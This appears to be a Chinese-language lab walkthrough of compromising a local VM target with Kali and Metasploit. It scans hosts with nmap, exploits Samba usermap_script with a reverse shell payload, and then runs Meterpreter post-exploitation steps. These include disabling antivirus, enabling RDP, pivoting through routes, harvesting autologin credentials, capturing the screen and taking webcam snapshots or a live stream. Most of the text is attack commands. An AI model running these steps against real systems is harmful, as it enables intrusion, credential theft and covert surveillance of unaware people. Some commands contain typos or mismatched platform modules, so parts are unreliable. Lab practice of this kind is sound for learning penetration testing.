因为使用vmware在本地进行挂载,所以需要先找到目标靶机的IP
先在kali中使用ifconfig查找到eth0的IP地址
对该地址进行C端地址扫描,nmap -sP 查找存活主机
nmap -sP
因为kali是134,目标靶机是在kali开启后进行挂载的,可以直接判断为地址要大于134
对剩余的地址进行nmap -sV,查看目标靶机开启的服务
nmap -sV
看到有Samba smbd 3.X - 4.X服务在运行,SMB是在局域网上共享文件和打印机的通信协议,在局域网内使用Linux和Windows系统的机器之间提供文件和打印机等资源的共享服务
进入msf,使用如下命令进行Samba漏洞利用模块的扫描
seasearch samba
分别查看rank一列的漏洞,其中excellent为漏洞最容易利用成功的(时间最新的)
查看漏洞详细信息
info + 漏洞名称
info exploit/multi/samba/usermap_script
输入如下 use 命令使用漏洞利用模块:
use exploit/multi/samba/usermap_script
可以看到metasploit命令提示符更改为msf exploit(具体攻击载荷名称)
因为目标是Linux机器,所以一定要采用Linux的攻击载荷,使用如下命令可以查看具体攻击载荷列表
show payloads
使用set命令选择payload、攻击IP地址、利用端口号、攻击IP地址
set PAYLOAD cmd/unix/reverse 这里是反向攻击载荷模块
set RHOST xxx.xxx.xxx.xxx 被攻击主机IP地址
set RPORT xxx 利用端口号
set LHOST xxx.xxx.xxx.xxx 设置攻击主机IP地址
show options 查看参数是否已经设置正确
成功拿下
攻击成功后,在攻击机和目标机之间会建立一个Shell连接,渗透Windows及其它操作系统的过程类似,只是选择的Payload和漏洞利用模块不同
使用一些命令可以查看目标机的信息
刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的
例如攻击者利用浏览器漏洞攻陷目标机器,但是攻击渗透后浏览器可能被用户关闭
所以第一步是移动这个Shell,将它和目标及中的某一个稳定的进程绑在一起
不需要对磁盘进行任何写入操作,例如写马可能被杀
使用如下命令获取目标机正在运行的进程
ps
使用如下命令查看Metapreter的进程号
getpid
麻了,没有getpid工具,但是有gcc,自己写!
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void main()
{
pid_t idp,id;
idp = getppid();
printf("ppid= %d\n",idp);
id = getpid();
printf("pid= %d\n",id);
}
echo $$
使用如下命令将shell放在后台
background
进入刚刚的session会话
sessions -u <编号>
查看新生成的session编号
sessions -l
进入新的meterpreter session
sessions -i 新的session编号
输入如下命令查看目标机的系统信息
sysinfo
输入如下命令查看目标机是否运行在虚拟机上
run post/windows/gather/checkvm
检查目标机是否正在运行
idletime
emmmm,靶机系统架构不允许
输入如下命令查看目标机完整的网络设置
route
除此之外,可以将会话放到后台,此命令适合在多个Meterpreter会话的场景下使用
background
输入如下命令查看当前目标机上已经渗透成功的用户名
getuid
关闭目标机系统杀毒软件
run post/windows/manage/killav
启动目标机远程桌面协议,也就是3389端口
run post/windows/manage/enable_rdp
查看目标机本地子网情况
run post/windows/manage/autoroute
先将meterpreter隐藏在后台,使用background命令
然后输入route add命令添加路由,添加成功后输入route命令进行查看,注意命令格式
这时一条路由就被添加到已攻陷主机的路由表中了,可以借助被攻陷主机对其它网络进行攻击(跳板)
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_applications
用户如果将计算机设置为自动登录,如下命令可以抓取自动登录的用户名和密码
run windows/gather/credentials/windows_autologin
如果没有抓到任何信息,就需要用到拓展插件Espia,先输入load espia命令加载此插件,然后输入screengrab命令抓取此时目标机的屏幕截图(仅限于Windows系统)
查看目标机是否有摄像头的命令如下
webcam_list
输入如下命令打开摄像头,拍一张照片
webcam_snap
开启直播模式
webcam_stream
输入如下命令进入目标机的Shell下面
shell
当meterpreter的命令前缀消失时,即进入了shell,退出了meterpreter